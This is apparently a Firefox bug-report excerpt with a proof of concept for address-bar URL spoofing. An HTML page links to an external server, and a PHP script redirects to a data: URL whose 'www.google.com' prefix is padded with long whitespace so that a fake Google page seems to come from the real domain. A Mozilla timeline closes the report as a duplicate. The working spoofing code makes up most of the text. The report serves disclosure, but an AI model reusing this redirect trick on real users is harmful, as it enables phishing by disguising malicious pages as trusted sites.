PoC.html

<html><head>
<meta http-equiv="content-type" content="text/html; charset=GBK"></head><body><a target="_blank" href="http://server.n0tr00t.com/firefox/urlspoofing.php">Click me - firefox url spoofing</a>
</body></html>

UrlSpoofing.php

<?php
header("Location: data:www.google.com                                                                                                                                                                                                                                                                                                                                                                                                              ;text/html,<title>Google</title><body><h1>Fake Google.com :)</h1></body>");


testtesttest
?>

Timeline

Daniel Veditz [:dveditz] changed Bug at 2018-04-18 22:56:34 PDT:

What	Removed	Added
Flags	needinfo?(dveditz@mozilla.com)	 
Group	firefox-core-security	 
Last Resolved	 	2018-04-19 05:56:34
Resolution	---	DUPLICATE
Status	UNCONFIRMED	RESOLVED